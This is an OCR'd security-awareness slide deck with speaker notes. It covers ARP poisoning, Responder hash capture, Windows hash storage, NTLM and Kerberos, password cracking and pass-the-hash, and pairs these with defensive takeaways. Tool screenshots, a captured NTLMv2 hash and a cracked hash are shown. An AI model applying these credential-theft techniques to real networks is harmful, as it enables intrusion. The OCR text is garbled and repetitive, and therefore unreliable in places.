From the list pick two devices you would like to get in the middle of:

And we click the poison button.
So now we have traffic so what?

But you have to be a a network engineer to understand this right? (nope)

Enter another free windows program network miner
Notice the files are carved from the capture or saved off the wire




What does this look like in practice?
Cain and Abel:

Scan for active devices by broadcasting ARP packets

“\/U ) « HTTP-TCP80 » sites » msnbc » files » advagg_css

| Organize v ] Open ~ Share with v Burn New folder
ﬂ css_mGOSIuWpvwy - Notepad g = = ize
File Edit Format View Help
#autocomplete{border:1px solid;overflow:hidden;position:absolute;z-index:100;} -
#autocomplete ul{list-style:none;list-style-image:none;margin: adding:0; b =
#autocomplete (7 - T L
html.js input %Y NetworkMiner 161 g e — - - —

inactive. png)
input. throbbi
position:100%
width:0; bordef | Socket: Intel(R) Centrino(R) Advanced-N 6235 (192.168.0.182)

File Tools Help

wr.‘apgl)er{d'isp'l
:{g}gpﬁigetﬂggr [ Hosts (596) | Frames (1700q)| Fies (145) |Images (45) | Messages | Credentials (83) | Sessions (488) | DNS (994) | Parameters
51'21'n9=g0rder Framenr. Recons.. Source.. S.pot  Destinat.. D.pot  Protocol  Filename

{background:# -
#ddd; border-td,|| | 9622 C\User.. 23.196.. TCP443 192168.. TCP62.. TisCertif.. www paypal.com[1].cer
{cursor:move; ||| 9630  CiUser.. 23.196.. TCP443 192168.. TCP62. ThCetf.. www paypal.com(2]cer
jursorimovei| | 7ss  CaUser. 65521. TCP443 192168.. TCPE2.. TiCetf.. cmsncomcer
.handle{backgf | | 2090  CiUser.. 98137.. TCP443 152168.. TCP62.. TiCef.. searchyahoo.com.cer
0.4em 0.5em;pgil| | 3238 CiUser.. 23782.. TCP8)  192168.. TCP62.. HipGet.. css_eFOOENNFY.css
Sbackground-pdi | 1824 Cilser.. 206190.. TCP443 192166.. TCP62.. ThCetf... wwwyahoocomcer
{background:uf||| 357  CiUser. 23661.. TCP8) 192168.. TCP62.. HipGet.. global headerjsxiavascipt
{background:ufl|| | 3710 CAUser. 21658.. TCP80  192168.. TCPG2. HitpGet.. gptisjavascrpt
Qg";%g’_‘v‘v:}ég:f 5485  CilUser.. 8.1845.. TCP8)  192168.. TCP62. HipGet.. LT 062714 CLCAADDIFhimi
Color:#Fffimaf|| | 4132  CUser. 23782.. TCP8) 192168 TCP62. HtpGet.. trackingService minjsjavascript
solid;}.progrel(|| 6244  CiUser. 38721.. TCP8)  192168.. TCP62. HpGet.. gwjsEB5A5243javascript
-percenta §§£ || 680 CaUser.. 231%.. TCPGD 192168 TCPE2. HipGet.. frame BDBIE203Him
'center;f'loat: |l| | 6347 C\User.. 74217.. TCP80 192.168... TCP62.. HipGet... quantjsxjavascript
{padding-left{| | 9708  Ci\User. 138128.. TCP8)  192168.. TCP62. HitpGet.. wp-emojireleaseminjs.E02206C..
{width:16em; 34| | 6504 C\User.. 209244.. TCP80)  192.168.. TCP62.. HtpGet.. Getlnvite aspx 41CB8EAjavas...
23;21%\«:;;: M| | 4085 CUser.. 23235.. TCP80  192.168.. TCP62.. HipGet.. controkag C79F1008 javascript
display:nonej | | 4433 CiUser.. 23209.. TCP8)  192168.. TCP62.. HipGet.. LighiningBokjsxjavascript
px);clip:rec - - . css_mGOSuWpvwv.css

nvisible. elen)
position:staf 3170 C\User.. 23782.. TCP80 192.168.. TCP62.. HtpGet... indexhtml

content:".";d!

»-ORESITE

From the list pick two devices you would like to get in the middle of:

And we click the poison button.
So now we have traffic so what?

But you have to be a a network engineer to understand this right? (nope)

Enter another free windows program network miner

Notice the files are carved from the capture or saved off the wire
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« This is a simple layer 2 attack made
possible by very trusting protocols

+ Does this look like something a
student could use on your network?
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* Invest time into mitigating it, detecting it, and preventing it
« This attack is extremely easy for a novice user to pull off.
+ Enable AV protections which detect this attack

« McAfee EPO / HIPS - https://kc.mcafee.com/corporate/index?
page=content&amp:id=KB5532 |

* Symantec / SEP and SEPM - http://www.symantec.com/connect/articles/how-series-
symantec-endpoint-protection-part-2
>-ORESITE

Invest time into mitigating it, detecting it, and preventing it

This attack is extremely easy for a novice user to pull off.

Enable AV protections which detect this attack

Mcafee EPO / HIPS - https://kc.mcafee.com/corporate/index?page=content&amp;id=KB55321

Symantec / SEP and SEPM - http://www.symantec.com/connect/articles/how-series-symantec-endpoint-protection-part-2



https://kc.mcafee.com/corporate/index?page=content&amp;id=KB55321
http://www.symantec.com/connect/articles/how-series-symantec-endpoint-protection-part-2

TS THIE TAKEAYV T

+ Harden your access ports on network switches
« Enable sticky ports (limits number of macs per port)
* Enable Dynamic arp inspection
* All major switch providers include features which mitigate this attack
* Juniper
« HpP

e @sco

» Test your network yourself and verify »>-ORESITE
|

Invest time into mitigating it, detecting it, and preventing it

This attack is extremely easy for a novice user to pull off.

Enable AV protections which detect this attack

Mcafee EPO / HIPS - https://kc.mcafee.com/corporate/index?page=content&amp;id=KB55321

Symantec / SEP and SEPM - http://www.symantec.com/connect/articles/how-series-symantec-endpoint-protection-part-2

Harden your access ports on network switches

enable sticky ports (limits number of macs per port)

enable Dynamic arp inspection

All major switch providers include features which mitigate this attack
Juniper
HP
Cisco

Test your network yourself and verify you have mitigated this attack
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« Benchmark your configurations for your firewalls, switches, servers

and and desktops

»-ORESITE




@5 N INSA BENCH MRS

« https//www.nsa.gov/ia/_files/switches/switch-guide-version| Ol.pdf

Cisco 10S Switch
Security Configuration Guide

Switch Security Guidance Activity
of the
Systems and Network Attack Center (SNAC)

Authors:

A. Borza

D. Duesterhaus
C. Grabczynski
J. Johnson

R. Kelly

T. Miller

Date: 21 June 2004
Version: 1.0
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When in doubt benchmark your configurations for your firewalls, switches, servers and and desktops:

When in doubt compare against CIS and NSA benchmarks
https://www.nsa.gov/ia/_files/switches/switch-guide-version1_01.pdf
These are fantastic resources for proper secure configuration and should be used as part of your process of creating a baseline configuration.


https://www.nsa.gov/ia/_files/switches/switch-guide-version1_01.pdf

e ONDER - ANOTHER SIMPLE 2SS

+ Designed as a tool for penetration
Lesters

+ Replies to any LLMNR, NBT-NS and
MDNS

Registers itself as WPAD

* Designed to capture password hashes

»-ORESITE

Responder - designed as a tool for penetration testers by Spinderlabs (a division of TrustWave)
It replies to any LLMNR, NBT-NS and MDNS (standard broadcast traffic)
It also registers itself as WPAD for auto-configuration of proxy settings
Its designed to capture password hashes (we'll talk more about this)

After the app is installed execution and use is trivial, simply run the script from a linux terminal

The script automates the collection of asset information directly into text files for collection or automation



nswerer started

112233445566

! 31MnU; NID= QdGXNTILrQ
COrnf4Ef_G1HtBXB94IQqICOX1hEfn_
prfxg

[+]HTTP-User & Passwc patato
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Responder - designed as a tool for penetration testers by Spinderlabs (a division of TrustWave)
It replies to any LLMNR, NBT-NS and MDNS (standard broadcast traffic)
It also registers itself as WPAD for auto-configuration of proxy settings
Its designed to capture password hashes (we'll talk more about this)

After the app is installed execution and use is trivial, simply run the script from a linux terminal

The script automates the collection of asset information directly into text files for collection or automation




HTTP-NTLMv2-192.168.180.163.txt

Open v | |[#1
(S ~/Responder/logs

foresiteTM::foresiteTM-
PC:1122334455667788:254BA649C73E8784D27BA4F7ASE64061 :01010000000000000EA7171EDE22D101AA982913BA63DCFAGROC00000200060053004

e ABLE AS A REDUIEE

® Fasswords HT TP

* Password hashes for computer logons
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Responder - designed as a tool for penetration testers by Spinderlabs (a division of TrustWave)
It replies to any LLMNR, NBT-NS and MDNS (standard broadcast traffic)
It also registers itself as WPAD for auto-configuration of proxy settings
Its designed to capture password hashes (we'll talk more about this)

After the app is installed execution and use is trivial, simply run the script from a linux terminal

The script automates the collection of asset information directly into text files for collection or automation

The scope
Any windows machine within the same broadcast domain (vlan), possibly beyond if multicasting is allowed to other vlans, and may be vulnerable to have the following

stolen
Passwords HTTP
Password hashes for computer logons



Questions? Break coming up...

TAKEAWAYS

« Disable NetBIOS over TCP/IP

» Disable WPAD auto-configuration

benchmarks

* Disable LLMNR (Link-Local Multicast Name Resolution)

» Create baseline configurations of desktop images based on CIS

»-ORESITE
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Lets talk about password hashes

A typical login scenario:
You have a username and password
Lets say your password is DOG

A hashing algorithm (such as LM, NTLM, NTLMv2, MD5, SHA1 etc..) convert the clear text of your password into cipher text and store this in a database
It is not possible to recover the clear text from the cipher text (at least its not supposed to be)

When you login
The hashing algorithm converts your clear text password to cipher text then compares whats stored with the hash of the password you inputed
. If it matches whats stored you're allowed to login
. if it doesn't match whats stored logins fail
*For you smart guys we're not talking about salting for this talk
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Lets talk about password hashes

A typical login scenario:
You have a username and password
Lets say your password is DOG

A hashing algorithm (such as LM, NTLM, NTLMv2, MD5, SHA1 etc..) convert the clear text of your password into cipher text and store this in a database
It is not possible to recover the clear text from the cipher text (at least its not supposed to be)

When you login
The hashing algorithm converts your clear text password to cipher text then compares whats stored with the hash of the password you inputed
. If it matches whats stored you're allowed to login
. if it doesn't match whats stored logins fail

*For you smart guys we're not talking about salting for this talk



I FIERE ARE HASHES STOREEE

( | mls
UQ | .. » Computer » Local Disk (C:) » Windows » System32 » config » v | s ’ | Search config
i Organize v |_| Open Burn New folder == v [
; 4 Y Favorites Name . Date modified Type Size
| Bl Desktop .. Journal 7/13/200910:34 PM  File folder
& Downloads | RegBack 11/30/201510:14 ...  File folder
| Recent Places | systemprofile 10/28/20154:13 PM  File folder
23 Dropbox L TxR 11/9/20156:15PM  File folder
|_| BCD-Template 10/28/20155:13PM  File 28 KB
4 4 Libraries |_| COMPONENTS 12/2/20153:18 PM  File 51,712 KB
‘ [ Documents | | DEFAULT 12/5/2015 3:25 AM __ File 256 KB
J‘ Music || SAM 12/4/20153:09 PM  File 256 KBI
[&=] Pictures || SECURITY 12/2/20153:17PM  File 256 KB
B Videos || SOFTWARE 12/5/20158:35 AM  File 81,408 KB
|| SYSTEM 12/5/20158:39 AM  File 15,872 KB

4N Comnter
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Where are hashes stored?
Domain accounts are stored on domain controllers

NTDS.DIT

Local accounts are stored in the SAM (Security Account Manager)

However:
Local password hashes are trivial to dump using a variety of applications which are point and click simple. (like cain which we demo'd earlier)
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Google  windows SAM path

-(.

Web News Videos Shopping Images More v Search tools

About 14,200,000 results (0.84 seconds)

These hashes are stored in the Windows SAM file. This file is located
on your system at C:\Windows\System32\config but is not accessible
while the operating system is booted up. Feb 10, 2010
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Where are hashes stored?
Domain accounts are stored on domain controllers

NTDS.DIT

Local accounts are stored in the SAM (Security Account Manager)

However:
Local password hashes are trivial to dump using a variety of applications which are point and click simple. (like cain which we demo'd earlier)
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2 SAMInside [(=](c3]

File Edit Yiew Tools Audit Service ?

9U-& -9 a& -0 @

User [ RID I LM-Password I NT-Password [ LM-Hash

O administrator 500 <Disabled> <Empty > 000000000000000
O Guest 501 <Disabled> <Disabled> 000000000000000
HeIpAssistant 1000 PPIIIIVIIIINNY eIRRRIIIINYNTY BEFE487890E4F67
[ SUPPORT_388945a0 1002 <Disabled> P777797999NNT 000000000000000
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Where are hashes stored?
Domain accounts are stored on domain controllers
NTDS.DIT

Local accounts are stored in the SAM (Security Account Manager)

However:
Local password hashes are trivial to dump using a variety of applications which are point and click simple. (like cain which we demo'd earlier)



FONVYEVERTE

u =]

File View Configure Tools Help
lchoHBHE +v 28 VM

* 64

D82 O? I
‘_é,% Decoders |§ Network Iﬁ Sniffer |@r’ Cracker ‘I@ Traceroute Im Ccbu I((Z]"’ Wireless I@ Query I

l’gf’ Cracker # | User Name | LM Password | <8 | NT Password | LM Hash | NT Hash

HA LM & NTLM Hashes (1) b 4 CEN Demo [*empty*  [* | | AAD3B435B51404EEAAD3B435B51404EE | 5835048CE94ADOS64E29A924A0
a NTLMv2 Hashes (1)

HA MS-Cache Hashes (0)

& PWLfiles (0)

T Cisco I0S-MD5 Hashes (0)
A Cisco PIX-MD5 Hashes (0)
b APOP-MDS Hashes (0)
% CRAM-MDS5 Hashes (0)

< OSPF-MD5 Hashes (0)
A PID. O MNS Hachec /N

m
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Where are hashes stored?

Domain accounts are stored on domain controllers
NTDS.DIT

Local accounts are stored in the SAM (Security Account Manager)

However:

Local password hashes are trivial to dump using a variety of applications which are point and click simple. (like cain which we demo'd earlier)



AINDOWWS HASH TS

WEAKEST — STRONGEST
: :
Key Key

2ad3b435b51404ee —20
DES DES
Encryption Encryption

o —ao

Concatenate
FORESITE

LM (used by NT, XP, Server 2003)

The password is split into 7 Character section
Each section is encrypted with DES

Then concatenated



L INDOWYS HASH TS

WEAKEST — STRONGEST
LM Hash
r-—-—-—-—-"—-"=-"-"-"-" - - - === B

First 7 ASCII character of the password--56 bit KEY I Second 7 ASCIl character of the password--56 bit KEY

|al|aZ|aE|ad|aS|aﬁ|a7| l IaB|39|310|311|312|313|ald|

64 bit ASCII 64 bit ASCII

A4

64 bit CIPERTEXT 64 bit CIPERTEXT
16 Bytes 16 Bytes

| I
| I
| I
| I
| DATA = KGS!@#5% > E DATA = KGS!@#5% I
| I
| I
| I
| I

128 bit LM Hash--Concatenation of the separate DES Hashes

»-ORESITE

LM (used by NT, XP, Server 2003)
The password is split into 7 Character section
Each section is encrypted with DES
Then concatenated
This means that the largest number of characters needing to be cracked is 7 (even if a user enters a 14 character password)



L INDOWYS HASH TS

HOW DOES NTLM WORK?

Ol ert the passcode to unicode

2. Apply the MD4 algorithm to the passcode

http://citeseerist.psu.edu/denboer9 | attack.html

http://eprint.iacrorg/2005/15 |

»-ORESITE

How does NTLM work?

1 Convert the passcode to unicode
2 Apply the MD4 algorithm to the passcode

"Implementers should be aware that NTLM does not support any recent cryptographic methods, such as AES or SHA-256. It uses cyclic redundancy check (CRC) or
message digest algorithms (RFC1321) for integrity, and it uses RC4 for encryption.

Deriving a key from a password is as specified in RFC1320 and FIPS46-2. Therefore, applications are generally advised not to use NTLM" - https://msdn.microsoft.com/
en-us/library/cc236715.aspx

Created in 1990 This hash is 128 bits, 32 characters long. MD4 is vulnerable to many collision attacks which make the protocol inherently insecure

http://citeseer.ist.psu.edu/denboer91attack.html
http://eprint.iacr.org/2005/151


http://citeseer.ist.psu.edu/denboer91attack.html
http://eprint.iacr.org/2005/151

Alice

HOW DOES NTLM2 WORK?
gl | EINGE RESPONSE PROTCE @S

I am A“Ce BOb
: a Cha”w R
F( Kflhi:(:! ocbr R )
M FORESITE

How does NTLMv2 work? (A Challenge response protocol)

Whats the difference between sending a hash and challenge response?
How does this work in practice?

NLTMv2 challenges use MD5 rather then MD4

This is obviously more complex to crack, but it is crackable!




Client

3. NTLMv2ZOWF =
HMACMDS5(NTOWF,
nam naonDo

iy DOES THIS WORK N PRAC S

f Cracker | User Name Password
3R LM & NTLM Hashes (1) X
-3 NTLMv2 Hashes (1)

g MS-Cache Hashes (0)
Y

L [foresitetech [ [8083220185ABEF6208F380D(

1. Hey, I'd like to authenticate _  Server
o
2. OK, here is a challenge
-
NTLMv2 Hash Server-Chall Client-Chall
| [DE2CCooi0ECa 0101000000000000DCOF6B36432DD10L...

ResponseType‘.' o
TimeStamp, ClientChallenge, ...)

5. LMv2Response =
HMAC-MD5(NTLMvZOWF,
ServerChallenge +
ClientChallenge)

6. Response =(client challenge +
LMvZResponse, NTLMv2
Response Buffer)

(e
»
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How does NTLMv2 work? (A Challenge response protocol)

Whats the difference between sending a hash and challenge response?
How does this work in practice?

NLTMv2 challenges use MD5 rather then MD4

This is obviously more complex to crack, but it is crackable!




i FIOUND OF FlAES
K’EPBEPOX KERBEROS ['KERBEROS]),

* KDC (a domain controller typically)
» Grants Ticket granting tickets to authorized clients
* Sends tickets to clients
* Fileserver
* Accepts tickets encrypted with a ticket granting ticket generated by the KDC
* Client
* Asks for ticket granting ticket from the KDC using preauthorization (good for 8 hours typically)
+ Stores tickets in a secure are of memory called the kerberos tray

» Sends ticket granting ticket to KDC and asks for a ticket to access the fileserver

* Sends ticket to file server }> FORES |_|_E

The hound of Hades KépPBepog Kerberos [kerberos)),

A quick example:

KDC (a domain controller typically)

© Grants Ticket granting tickets to authorized clients
© Sends tickets to clients

Fileserver

© Accepts tickets encrypted with a ticket granting ticket generated by the KDC
Client

o Asks for ticket granting ticket from the KDC using preauth (good for 8 hours typically)
o Stores tickets in a secure are of memory called the kerberos tray

o Sends ticket granting ticket to KDC and asks for a ticket to access the fileserver

o Sends ticket to file server



FORE ST

Authentication

auth Server (AS)
request

_—
A B
WGS

TGT
. C.D
Client e

—
ZZz/ authenticator x

— Client_to_server ticket
Client/server

EG Service
Client_to server ticket Server (§8)

H
time auth
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The hound of Hades KépPBepog Kerberos [kerberos)),

A quick example:

KDC (a domain controller typically)

© Grants Ticket granting tickets to authorized clients
© Sends tickets to clients

Fileserver

© Accepts tickets encrypted with a ticket granting ticket generated by the KDC
Client

o Asks for ticket granting ticket from the KDC using preauth (good for 8 hours typically)
o Stores tickets in a secure are of memory called the kerberos tray

o Sends ticket granting ticket to KDC and asks for a ticket to access the fileserver

o Sends ticket to file server



HEORTANT TAKEAV A
VT KERBER@ES

E Decoders |Q Network Iﬁ Sniffer I@f Cracker IQ Traceroute Im Ccbu I“E’J Wireless I@ Query I

# Cracker

g LM & NTLM Hashes (4)
4R NTLMv2 Hashes (1)

4R MS-Cache Hashes (0)
& PWL files (0)

-] Cisco I0S-MD5 Hashes (0)
..JH Cisco PIX-MD5 Hashes (0)
“““ &b APOP-MD5 Hashes (0)

..... & CRAM-MDS5 Hashes (0)

----- & OSPF-MD5 Hashes (0)

..... b RIPv2-MDS5 Hashes (0)

..... & VRRP-HMAC Hashes (0)
[Rg VNC-3DES (0)

..... md MD2 Hashes (0)

“““ md MD4 Hashes (0)

..... md MD5 Hashes (0)

..... S§R SHA-1 Hashes (0)

..... 4R SHA-2 Hashes (0)

Username

P7{1GXGLOBAL.COM .

Password

Kerberos5 PreAuth Hash
896 C11 C4F65954 BE71E05F562386646C...

Note
The file server
Never sees tickets or keys using to authenticate against other resources

The KDC
Only needs to authenticate a client one time using a logon password (when the

TGT is created)
TGT is used for authentication after

The client
Still has to authenticate with the KDC

P -ORESITE

The file server:

Never sees tickets or keys using to authenticate against other resources

The KDC

Only needs to authenticate a client one time using a logon password (when the TGT is created)

The TGT is used for authentication after

The client
Still has to authenticate with the KDC




QUESTION:

L O KNOVYS WHY KERBERGE

5 IME SENS| VIS
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What about password cracking?

b ABOUT PASSWORD CRACIKINEE

Dictionary Attack L)

Dictionary

rogram Files (x88)\Cain\Ww/ordlists\Wordiist tat
E C:\Users\foresiteTMA\D esktop'\Clients\Foresitel\comcast

~KeyRate Option:
[ W &sls (Password)
V' Reverse [PASSWORD - DROWSSAP)

[ Dictionasy Posion ¥ Double (Pass - PassPass)
‘ [V Lowercase [PASSWORD - password)

¥ Uppercase (Password - PASSWORD)

[¥ Num. sub. perms (Pass Pdss PaSs, . P4Ss...P455)
[~ Case peims (Pass phss.paSs,...PaSs...PASS)
¥ Two numbers Hybiid Brute (Pass0... Pass3g)

Curtent password

Plaintext of 583504BCE34AD0S64E294924A03510EF is passvordl
Attack stopped!
1 of 1 hashes cracked

Start Exit
[ s ]

* Even though password hashes are one-way, and
attacker can still brute-force passwords.

»-ORESITE

Even though password hashes are one way, an attacker can still brute force passwords:




b ABOUT PASSWORD CRACIKINEE

C:\Program Files (x86]\Cain\Wordlists\Wordiist txt 2026488
1] C:\Users\foresiteTM\Desktop\Clients\Foresite\ comeast_password.txt

" perms (Pass Pdss Pa5s... P45s. P455)
« But | use character substitution, so you'll never 15 [Pass,péiss pads....PaSs.. PASS)

guess my passvvord! oters Hybrid Brute [PaisU....PaSSSS]

. Pi55)
S)

Plaintext of 5835048CE94AD0564E294924A03510EF is passwordl
Attack stopped!

1 of 1 hashes cracked

Start Exit

»-ORESITE

What about password cracking?

Even though password hashes are one way, an attacker can still brute force passwords:
But | use character substitution so you'll never guess my password
Attacker tools are built to look for this




Oooo0nooooooooon
G&ﬁQWMON)
-GIBBERSH,

BASE WorD VKON
SR — . 3
Irgu bfﬂid 9r &é
CAPS? NUMERA

a SUBEQ";UTTONS ooo t
(You (AN AOD A FEw MORE BT To MMON
RACOUNT FoR THE FRCT THAT oooo
IS ONLY ONE OF A FeW CoMMON FORMATS)

~28 BITS OF ENTROPY
gooooopa
oooopood g

anno ooo

ooao =]
2"= 3 pavs AT
1000 GUESSES /sEC

( PLAUSIBLE ATTACK ON A WEAK REMOTE.
. YES, CRACKING A STOLEN

DIFFICOLTY T0 GUESS:

EASY

WAS (T TROMBONE? NG
TROUBADOR. AND ONE OF
THE Os WAS A ZERQ?

\
AND THERE™ WAS
SOME SYMBOL... ™

\'

DIFFICULTY To REMEMBER:
HARD

—

T

000000 goooon Qooood opoooo

poooa pDoooo CDTJU
l
\ FOUR RANDOM
COMMON WORDS

correct horse battery stople
— L_7*J L"7w~4

ooooo

o

~YH BITS OF ENTROPY
oooooopoooo
ooOoogooooao
oooooopooao
pongooooaoo
2"=550 YEARS AT
1000 GUESSES/seC

DIFFiCOLTY T0 GUESS:

HARD

DIFFICULTY TO REMEMBER:
YOUVE ALREADY
MEMORIZEO IT

Credit: XKCD

THROUGH 20 YEARS O EFFORT, WEVE SUCCESSFULLY TRAINED
EVERYONE TO USE PASSWORDS THAT ARE HARD FOR HUMANS
To REMEMBER, BUT EASY FOR COMPUTERS TO GUESS,

https://xkcd.com/936/
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https://xkcd.com/936/

&« C' 3 https://crackstation.net

(Station

Defuse Security ¥

Free Password Hash Cracker

Enter up to 10 non-salted hashes:

Crack Hashes

Supports: LM, NTLM, md2, md4, mdS, md5(md5), md5-half, shal, shal(shal_bin()), sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+

»-ORESITE

Computing power has been commoditized, password hashes can often be cracked for free



Defuse.ca -

'CrackStation

g1 S
rackStation ¥ Password Hashing Security ¥ Defuse Security ¥
ree Hash Cracker

ordlist Download Free Password Hash Cracker

) . er up to 10 non-salted hashes:
0S & Privacy Policy

5835048CE94AD@S64E29A924A@3510EF

(<]
ol ‘ RreCAPTCHA
o

Crack Hashes

Supports: LM, NTLM, md2, md4, mdS, md5(md5), mdS-half, shai, shai(shai_bin()), sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+

Hash Type Result

E94 2949, 10EF || NTLM || passwordl

Color Codes: BF€efl Exact match, Yellow: Partial match, [EEEl Not found.
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Computing power has been commoditized, password hashes can often be cracked for free



Bl WE YOU BEEN PVVINEIER

example@example.com pwned?l

Oh no — pwned on 2 sites!

Are you creating strong, unique passwords on all sites?

Adobe
The big one. In October 2013, 153 million accounts were breached with each containing an Internal ID,

® http S //h ave I b &= lDWﬁ c d .COm username, emall, encrypted password and a password hint In plain text. The password cryptography was

poorly done and many were quickly resolved back to plain text. The unencrypted hints also disclosed much
about the passwords adding further to the risk that hundreds of millions of Adobe customers already faced.

Stratfor

In December 2011, "Anonymous” attacked the global intelligence company and consequently disclosed a
veritable treasure trove of data Including hundreds of gigabytes of emall and tens of thousands of credit card
detalls which were promptly used by the attackers to make charitable donations (among other uses). The
breach aiso included 860,000 user accounts complete with email address, time zone, some Internal system
data and MD5 hashed passwords with no sait.

»-ORESITE

Have you been pwned?

* Pwn is a leetspeak slang term derived from the verb own, as meaning to appropriate or to conquer to gain ownership. The term implies domination or humiliation of a
rival, used primarily in the Internet-based video game culture to taunt an opponent who has just been soundly defeated (e.g., "You just got pwned!").

https://haveibeenpwned.com


https://haveibeenpwned.com

(e

vtech

@mail.ru

O

&
(@

P
NETELLER

(npauueqii

30,811,934 Ashley Madison acco

unts @ @D freaks
©
-

Lofaret
A

=~
At

Quantum
Stresser

HEMAKYA L

LOUNGE
BOARD

flashback

If you you've had
your account
compromised in
any breach you
should change
your password
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If you you've had your account compromised in any breach you should change your password




breach

* Lets take a peek at the latest Comcast

CONHC/ O BRE @

WFORESITE

If you you've had your account compromised in any breach you should change your password

Take away:

Change your passwords often (90 days is probably about right)




* As an attacker trying to
brute force a hash or a
login | will use these
public breaches to seed
my dictionaries.

File Edit Search View Encoding Language Settings Macro Run

(BRI 4kl de|thigl 3|

[ comcast_password bt £

379409 TL1000OR
379410 t11000rbwl
379411 t11000rr
379412 t11000rw
379413 t1110751
379414 TL122690
379415 t112371237
379416 t11254tl
379417 tl11d3c4r7
379418 tlllhvm;
379419 tLlmsisnw
379420 t1241952
379421 tl12520
379422 t©1332332
379423 t141vls2
379424 t16615
379425 tl6884
379426 t1696869
379427 t17.04
379428 TL78perl
379429 t18228sg
379430 tla9linwsd
379431 tlaan
379432 tlachamp
379433 tladnjstpl2
379434 tlajs33l
379435 tlallenl
379436 tlaloc
379437 TlaloCé002
379438 tlantril3
379438 tlasotla

379440 tlatchaw2007

CONHC/ O BRE @

+ Take away:

* Change your passwords
often

*+ 90 days is probably about
right

P -ORESITE

If you you've had your account compromised in any breach you should change your password

Take away:

. Change your passwords often (90 days is probably about right)




T IS MS-CECEIE

Add MS-CACHE Hashes from [

|. >>> from passlib.hash import msdcc2 & Local System

Dump hashes from the local registry database

2. >>> hash = msdcc2.encrypt("Password 23",

user="test2")

" Import Hashes from Registry Hive files

| -]
. print hash
| L]
& d7iY | becdec/c0df39396b4efc81 [23e4 Cancel [ News> |
> -ORESITE

What is MS-CACHE?

Any time you login to a domain joined computer a hash of your password is saved to that computer!

What happens when you are in front of a Windows machine, which has a domain account and you can’t access the domain (due to network outage or domain server
shutdown)? Microsoft solved this problem by saving the hash(es) of the last user(s) that logged into the local machine. These hashes are stored in the Windows registry,
by default the last 10 hashes.

The hashing algorithm is well understood MD4( MD4(Unicode(password)) + Unicode(tolower(username)) ):

Tools exist to dump and crack these hashes
*Assumes caching is enabled (it almost always is)



WHAT IS A RAINBOWV TABLE!?

Definition:

A rainbow table is a pre-computed table for reversing
cryptographic hash functions, usually for cracking password
hashes. Tables are usually used in recovering a plaintext password
up to a certain length consisting of a limited set of characters.

»-ORESITE

Whats a rainbow table?

Definition:
A rainbow table is a precomputed table for reversing cryptographic hash functions, usually for cracking password hashes. Tables are usually used in recovering a
plaintext password up to a certain length consisting of a limited set of characters.

Instead of computing a hash, and comparing it to recover the plaintext, a database of every combination of hash and plaintext is already computed.

Want to recover the plaintext of a hash? Just do a lookup

Take away:

Use implementations which salt password hashes increases the time required and the complexity of
A salt is a bit of random data



TAKEAWAY

SALT HASH RESULT

n’ 1AS

SALT PASSWORD

Iteration count
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Whats a rainbow table?

Definition:
A rainbow table is a precomputed table for reversing cryptographic hash functions, usually for cracking password hashes. Tables are usually used in recovering a
plaintext password up to a certain length consisting of a limited set of characters.

Instead of computing a hash, and comparing it to recover the plaintext, a database of every combination of hash and plaintext is already computed.

Want to recover the plaintext of a hash? Just do a lookup
Take away:

Use implementations which salt password hashes increases the time required and the complexity of
A salt is a bit of random data



e 1 I TOLD YOU EVERYTHINGHEEES
SHOWED YOU IS 10 YEARS
@D OR OHLR
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00 [HE-HASH ATTTACKS

What every admin thinks...

4
SIMPLY-TAKE OUR DOMAIN HASHES

»-ORESITE

Does every machine have the same the same local admin password hash?



00 [HE-HASH ATTTACKS

+ Reality - most admins have been infected with malware at some point

What every admin thinks... » Hashes dumped

* But the admin has a /0 character password and it's not feasible to
crack it

' [ ]
SIMPLY'TAKE OUR DOMAIN HASHES Now what?

« Remember: Once a user logs in, his credentials are cached locally and
reused by the OS on the user's behalf

* Remember our responder demo? Oh right...

»-ORESITE

Does every machine have the same the same local admin password hash?

Reality - most admins have been infected with malware at some point

Hashes dumped

But the admin has a 70 character password and it's not feasible to crack it

Now what?

Remember: Once a user logs in, his credentials are cached locally and reused by the OS on the user's behalf
Remember our responder demo? Oh right...



N GS THAT USE INERERS

: Fchange
- File and print servers

« SQL Server

 Appliances not domain joined

»-ORESITE




s f earch smb hash

Matching Modul

Name Rank Description

auxiliary/admin/oracle/ora_ntlm_stealer 2009-04-07 00:00:00 U ornal Oracle SMB Relay Code Execut

auxiliary/adnin/smb/upload_file ornal SMB File Upload Utility

uciliary /server/capture/shb ormal Authentication Capture * As an attacker how can

uxiliary/spoof/nbns/nbns_response ornal NetBIOS Name Service

nb/psexe 199-01-01 00: 00 0 anual Microsoft Windows Authenticated User Code Executior | ESE JEhIS to my

(Psexec) > explos advantage once | have a
hash?

* Metasploit

« Psexec module

»-ORESITE




e OTFER EXAMEE =

{@ (untitied) - Ethereal
Gle Edt Wew Go Cepture Analyze Statistics Help

BEoed cl @8 Rers»F L [EEG
e [ocp.saddr == 152.168.130.183 > | Expression... | G | oy |

HTTP

GET /test/paq

[ Frame 21 (657 bytes on wire, 657 bytes captured)
@ Ethernet II, src: Microsof_2c:c0:a3 (00:03:ff:2¢c:c0:a3), Dst: Microsof_2d:c0:a3 (0«
[ Internet Protocol, Src: 192.168.130.175 (192.168.130.175), Ost: 192.168.130.183 (¢
[ Transmission Control Protocol, Src¢ Port: 1467 (1467), Ost Port: http (80), Seq: 71¢
= Hypertext Transfer Protocol
@ GET Jtest/pagel.aspx HTTP/1.1\r\n
Accept: image/gif, image/x-xbitmap, image/jpeqy, imagespipeqy, */“\r\n
Accept-Language: en-au\r\n
UA-CPU: x86\r\n
accepr-gncoding: gzip, deflare\r\n
user-Agent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.2; Svi; .NET CLR 1.1.
Host: wi3-svr-apps.sydneylab, Tocal\r\n
connection: xeep-alive\r\n
3 Aauthorization: Negotiate TIRMYVNTUAADAARAGAAYAITAAAAYABQAGUAAABIAGABTL AAMAGHAIAGAS
[E NTLMSSP
NTLMSSP ddentifier: NTLMSSP
NTLM Message Type: NTLMSSP_AUTH (0x00000003)
Lan Manager Response: CS53EB2A49BALF71500000000000000000000000000009000
NTLM Response: ALD860FD702BEBS9F280107A24 AB70BLALEIBBODLDCEASSF
[ Domain name: WO3-SVR-APPS

user name: administrator >> FORES'TE

=]

Here's a different example using share point
This means that password hashes don't have to be cracked, we can just present them to services for authentication!



’ Enter usemame and password for http-//intranet

User Name: alice jones

X cancel

